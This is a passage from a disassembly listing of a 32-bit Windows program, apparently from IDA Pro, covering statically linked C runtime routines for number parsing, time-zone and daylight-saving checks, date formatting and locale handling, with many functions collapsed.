mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call ___strgtold12
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_432CA0
add esp, 8
mov esp, ebp
pop ebp
retn
sub_432E00 endp
; ---------------------------------------------------------------------------
align 10h
; [000000FA BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000077 BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000162 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000005B BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __CxxSetUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000011 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4331E0 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+9Ep
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+77p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5470 ; IsBadReadPtr
test eax, eax
jz short loc_433204
mov [ebp+var_4], 0
loc_433204: ; CODE XREF: sub_4331E0+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4331E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433210 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+89p
; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jz short loc_433234
mov [ebp+var_4], 0
loc_433234: ; CODE XREF: sub_433210+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_433210 endp
; ---------------------------------------------------------------------------
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001E BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop ebp
retn
; [0000003D BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000003AB BYTES: COLLAPSED FUNCTION __tzset_lk. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4336D0 proc near ; CODE XREF: __isindst+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_45459C, 0
jnz short loc_4336E4
xor eax, eax
jmp loc_4339C6
; ---------------------------------------------------------------------------
loc_4336E4: ; CODE XREF: sub_4336D0+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, dword_454630
jnz short loc_433704
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, dword_454640
jz loc_4338CB
loc_433704: ; CODE XREF: sub_4336D0+20j
cmp dword_4F3768, 0
jz loc_433885
xor ecx, ecx
mov cx, word_4F3808
test ecx, ecx
jnz short loc_433779
xor edx, edx
mov dx, word_4F3816
push edx
xor eax, eax
mov ax, word_4F3814
push eax
xor ecx, ecx
mov cx, word_4F3812
push ecx
xor edx, edx
mov dx, word_4F3810
push edx
push 0
xor eax, eax
mov ax, word_4F380C
push eax
xor ecx, ecx
mov cx, word_4F380E
push ecx
xor edx, edx
mov dx, word_4F380A
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call _cvtdate
add esp, 2Ch
jmp short loc_4337CA
; ---------------------------------------------------------------------------
loc_433779: ; CODE XREF: sub_4336D0+4Cj
xor edx, edx
mov dx, word_4F3816
push edx
xor eax, eax
mov ax, word_4F3814
push eax
xor ecx, ecx
mov cx, word_4F3812
push ecx
xor edx, edx
mov dx, word_4F3810
push edx
xor eax, eax
mov ax, word_4F380E
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4F380A
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call _cvtdate
add esp, 2Ch
loc_4337CA: ; CODE XREF: sub_4336D0+A7j
xor ecx, ecx
mov cx, word_4F37B4
test ecx, ecx
jnz short loc_433832
xor edx, edx
mov dx, word_4F37C2
push edx
xor eax, eax
mov ax, word_4F37C0
push eax
xor ecx, ecx
mov cx, word_4F37BE
push ecx
xor edx, edx
mov dx, word_4F37BC
push edx
push 0
xor eax, eax
mov ax, word_4F37B8
push eax
xor ecx, ecx
mov cx, word_4F37BA
push ecx
xor edx, edx
mov dx, word_4F37B6
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call _cvtdate
add esp, 2Ch
jmp short loc_433883
; ---------------------------------------------------------------------------
loc_433832: ; CODE XREF: sub_4336D0+105j
xor edx, edx
mov dx, word_4F37C2
push edx
xor eax, eax
mov ax, word_4F37C0
push eax
xor ecx, ecx
mov cx, word_4F37BE
push ecx
xor edx, edx
mov dx, word_4F37BC
push edx
xor eax, eax
mov ax, word_4F37BA
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4F37B6
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call _cvtdate
add esp, 2Ch
loc_433883: ; CODE XREF: sub_4336D0+160j
jmp short loc_4338CB
; ---------------------------------------------------------------------------
loc_433885: ; CODE XREF: sub_4336D0+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call _cvtdate
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call _cvtdate
add esp, 2Ch
loc_4338CB: ; CODE XREF: sub_4336D0+2Ej
; sub_4336D0:loc_433883j
mov edx, dword_454634
cmp edx, dword_454644
jge short loc_433924
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_454634
jl short loc_4338F5
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_454644
jle short loc_4338FC
loc_4338F5: ; CODE XREF: sub_4336D0+215j
xor eax, eax
jmp loc_4339C6
; ---------------------------------------------------------------------------
loc_4338FC: ; CODE XREF: sub_4336D0+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_454634
jle short loc_433922
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_454644
jge short loc_433922
mov eax, 1
jmp loc_4339C6
; ---------------------------------------------------------------------------
loc_433922: ; CODE XREF: sub_4336D0+238j
; sub_4336D0+246j
jmp short loc_433967
; ---------------------------------------------------------------------------
loc_433924: ; CODE XREF: sub_4336D0+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_454644
jl short loc_433940
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_454634
jle short loc_433947
loc_433940: ; CODE XREF: sub_4336D0+260j
mov eax, 1
jmp short loc_4339C6
; ---------------------------------------------------------------------------
loc_433947: ; CODE XREF: sub_4336D0+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_454644
jle short loc_433967
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_454634
jge short loc_433967
xor eax, eax
jmp short loc_4339C6
; ---------------------------------------------------------------------------
loc_433967: ; CODE XREF: sub_4336D0:loc_433922j
; sub_4336D0+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_454634
jnz short loc_4339B2
mov eax, [ebp+var_4]
cmp eax, dword_454638
jl short loc_4339AE
mov eax, 1
jmp short loc_4339C6
; ---------------------------------------------------------------------------
loc_4339AE: ; CODE XREF: sub_4336D0+2D5j
xor eax, eax
jmp short loc_4339C6
; ---------------------------------------------------------------------------
loc_4339B2: ; CODE XREF: sub_4336D0+2CAj
mov ecx, [ebp+var_4]
cmp ecx, dword_454648
jge short loc_4339C4
mov eax, 1
jmp short loc_4339C6
; ---------------------------------------------------------------------------
loc_4339C4: ; CODE XREF: sub_4336D0+2EBj
xor eax, eax
loc_4339C6: ; CODE XREF: sub_4336D0+Fj
; sub_4336D0+227j ...
mov esp, ebp
pop ebp
retn
sub_4336D0 endp
; ---------------------------------------------------------------------------
align 10h
; [000001F8 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000DB BYTES: COLLAPSED FUNCTION ___init_time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000058F BYTES: COLLAPSED FUNCTION __get_lc_time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000030B BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000002A6 BYTES: COLLAPSED FUNCTION ___init_numeric. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___init_monetary. PRESS KEYPAD "+" TO EXPAND]
; [0000020D BYTES: COLLAPSED FUNCTION __get_lc_lconv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000093 BYTES: COLLAPSED FUNCTION __free_lc_lconv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000003A0 BYTES: COLLAPSED FUNCTION unknown_libname_28. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435080 proc near ; DATA XREF: .data:004543E4o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_435080 endp
; ---------------------------------------------------------------------------
align 10h
; [0000003E BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_30. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000200 BYTES: COLLAPSED FUNCTION ___get_qualified_locale. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION _TranslateName. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BA BYTES: COLLAPSED FUNCTION _GetLcidFromLangCountry. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000324 BYTES: COLLAPSED FUNCTION LangCountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000074 BYTES: COLLAPSED FUNCTION _GetLcidFromLanguage. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000011F BYTES: COLLAPSED FUNCTION LanguageEnumProc(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000045 BYTES: COLLAPSED FUNCTION _GetLcidFromCountry. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION CountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002B BYTES: COLLAPSED FUNCTION _GetLcidFromDefault. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000009B BYTES: COLLAPSED FUNCTION _ProcessCodePage. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004F BYTES: COLLAPSED FUNCTION _TestDefaultCountry. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000087 BYTES: COLLAPSED FUNCTION _TestDefaultLanguage. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004D BYTES: COLLAPSED FUNCTION _IsThisWindowsNT. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000184 BYTES: COLLAPSED FUNCTION crtGetLocaleInfoA(x,x,x,x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000076 BYTES: COLLAPSED FUNCTION _LcidFromHexString. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000065 BYTES: COLLAPSED FUNCTION _GetPrimaryLen. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_436030
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003B BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436030 proc near ; CODE XREF: .text:00435EBBp
; __ismbbkprint+Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, byte_4F3AE1[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_436084
cmp [ebp+arg_4], 0
jz short loc_43606E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, word ptr (__wctype+2)[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_436075
; ---------------------------------------------------------------------------
loc_43606E: ; CODE XREF: sub_436030+27j
mov [ebp+var_4], 0
loc_436075: ; CODE XREF: sub_436030+3Cj
cmp [ebp+var_4], 0
jnz short loc_436084
mov [ebp+var_8], 0
jmp short loc_43608B
; ---------------------------------------------------------------------------
loc_436084: ; CODE XREF: sub_436030+21j
; sub_436030+49j
mov [ebp+var_8], 1
loc_43608B: ; CODE XREF: sub_436030+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_436030 endp
; ---------------------------------------------------------------------------
align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000230 BYTES: COLLAPSED FUNCTION __chsize_lk. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AD BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000060 BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [00000063 BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000013B BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000A1A BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_43706A dd offset loc_43672C ; DATA XREF: ___strgtold12+D5r
dd offset loc_4367CA
dd offset loc_436880
dd offset loc_4368EB
dd offset loc_436A03
dd offset loc_436B35
dd offset loc_436BAB
dd offset loc_436C90
dd offset loc_436C32
dd offset loc_436CE3
dd offset loc_436E53
dd offset loc_436DEF
off_43709A dd offset loc_436859 ; DATA XREF: ___strgtold12+1F0r
dd offset loc_436847
dd offset loc_436850
dd offset loc_43686B
byte_4370AA db 0 ; DATA XREF: ___strgtold12+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
dd offset loc_4369DC ; DATA XREF: ___strgtold12+37Cr
dd offset loc_4369D3
dd offset loc_4369EE
byte_4370F1 db 0 ; DATA XREF: ___strgtold12+376r
dw 2
dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h
off_43712C dd offset loc_436B0E ; DATA XREF: ___strgtold12+4AEr
dd offset loc_436B05
dd offset loc_436B20
byte_437138 db 0 ; DATA XREF: ___strgtold12+4A8r
db 2, 0, 2
dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h
dd 3 dup(0CCCCCCCCh)
; [0000004F BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000516 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push ecx
push 0Ch
call __lock
add esp, 4
mov eax, [ebp+8]
push eax
call _getenv
add esp, 4
mov [ebp-4], eax
push 0Ch
call __unlock
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [000000C6 BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000121 BYTES: COLLAPSED FUNCTION __Getdays. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __Getmonths. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000036E BYTES: COLLAPSED FUNCTION __Gettnames. PRESS KEYPAD "+" TO EXPAND]
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_437DE0
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437DE0 proc near ; CODE XREF: .text:00437DD5p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4F39C8
call ds:dword_4F5488 ; InterlockedIncrement
cmp dword_4F39C4, 0
jz short loc_437E1E
push offset dword_4F39C8
call ds:dword_4F5484 ; InterlockedDecrement
push 13h
call __lock
add esp, 4
mov [ebp+var_8], 1
jmp short loc_437E25
; ---------------------------------------------------------------------------
loc_437E1E: ; CODE XREF: sub_437DE0+1Ej
mov [ebp+var_8], 0
loc_437E25: ; CODE XREF: sub_437DE0+3Cj
cmp [ebp+arg_10], 0
jnz short loc_437E36
mov ecx, off_454E38
mov [ebp+var_10], ecx
jmp short loc_437E3C
; ---------------------------------------------------------------------------
loc_437E36: ; CODE XREF: sub_437DE0+49j
mov edx, [ebp+arg_10]
mov [ebp+var_10], edx
loc_437E3C: ; CODE XREF: sub_437DE0+54j
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
loc_437E42: ; CODE XREF: sub_437DE0:loc_437F2Ej
cmp [ebp+var_C], 0
jbe loc_437F33
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_437E62
cmp [ebp+var_14], 25h
jz short loc_437E67
jmp short loc_437EC1
; ---------------------------------------------------------------------------
loc_437E62: ; CODE XREF: sub_437DE0+78j
jmp loc_437F33
; ---------------------------------------------------------------------------
loc_437E67: ; CODE XREF: sub_437DE0+7Ej
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov dword_4F38B0, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_437E98
mov dword_4F38B0, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_437E98: ; CODE XREF: sub_437DE0+A3j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_437F70
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_437F2E
; ---------------------------------------------------------------------------
loc_437EC1: ; CODE XREF: sub_437DE0+80j
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, off_453CF4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_437F09
cmp [ebp+var_C], 1
jbe short loc_437F09
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_437F09: ; CODE XREF: sub_437DE0+FCj
; sub_437DE0+102j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_437F2E: ; CODE XREF: sub_437DE0+DFj
jmp loc_437E42
; ---------------------------------------------------------------------------
loc_437F33: ; CODE XREF: sub_437DE0+66j
; sub_437DE0:loc_437E62j
cmp [ebp+var_8], 0
jz short loc_437F45
push 13h
call __unlock
add esp, 4
jmp short loc_437F50
; ---------------------------------------------------------------------------
loc_437F45: ; CODE XREF: sub_437DE0+157j
push offset dword_4F39C8
call ds:dword_4F5484 ; InterlockedDecrement
loc_437F50: ; CODE XREF: sub_437DE0+163j
cmp [ebp+var_C], 0
jbe short loc_437F64
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_437F66
; ---------------------------------------------------------------------------
loc_437F64: ; CODE XREF: sub_437DE0+174j
xor eax, eax
loc_437F66: ; CODE XREF: sub_437DE0+182j
mov esp, ebp
pop ebp
retn
sub_437DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_437F70 proc near ; CODE XREF: sub_437DE0+CEp
; __store_winword+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_4384D8
mov eax, [ebp+var_C]
xor edx, edx
mov dl, ds:byte_438539[eax]
jmp ds:off_4384DD[edx*4]
loc_437FA3: ; DATA XREF: .text:0043850Do
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call __store_str
add esp, 0Ch
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_437FC5: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384E1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call __store_str
add esp, 0Ch
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_437FE8: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438511o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call __store_str
add esp, 0Ch
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43800B: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:004384E5o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call __store_str
add esp, 0Ch
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43802E: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438515o
cmp dword_4F38B0, 0
jz short loc_4380B6
mov dword_4F38B0, 0
mov ecx, [ebp+arg_10]
push ecx ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax ; Str1
call __store_winword
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_438070
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_438070: ; CODE XREF: sub_437F70+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax ; Str1
call __store_winword
add esp, 14h
jmp short loc_438129
; ---------------------------------------------------------------------------
loc_4380B6: ; CODE XREF: sub_437F70+C5j
mov ecx, [ebp+arg_10]
push ecx ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax ; Str1
call __store_winword
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_4380E5
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_4380E5: ; CODE XREF: sub_437F70+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx ; int
mov edx, [ebp+arg_C]
push edx ; int
mov eax, [ebp+arg_8]
push eax ; int
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax ; Str1
call __store_winword
add esp, 14h
loc_438129: ; CODE XREF: sub_437F70+144j
jmp loc_4384D8
; ---------------------------------------------------------------------------
loc_43812E: ; CODE XREF: sub_437F70+2Cj
; DATA XREF: .text:00438519o
mov ecx, dword_4F38B0
mov dword_4F38B4, ecx
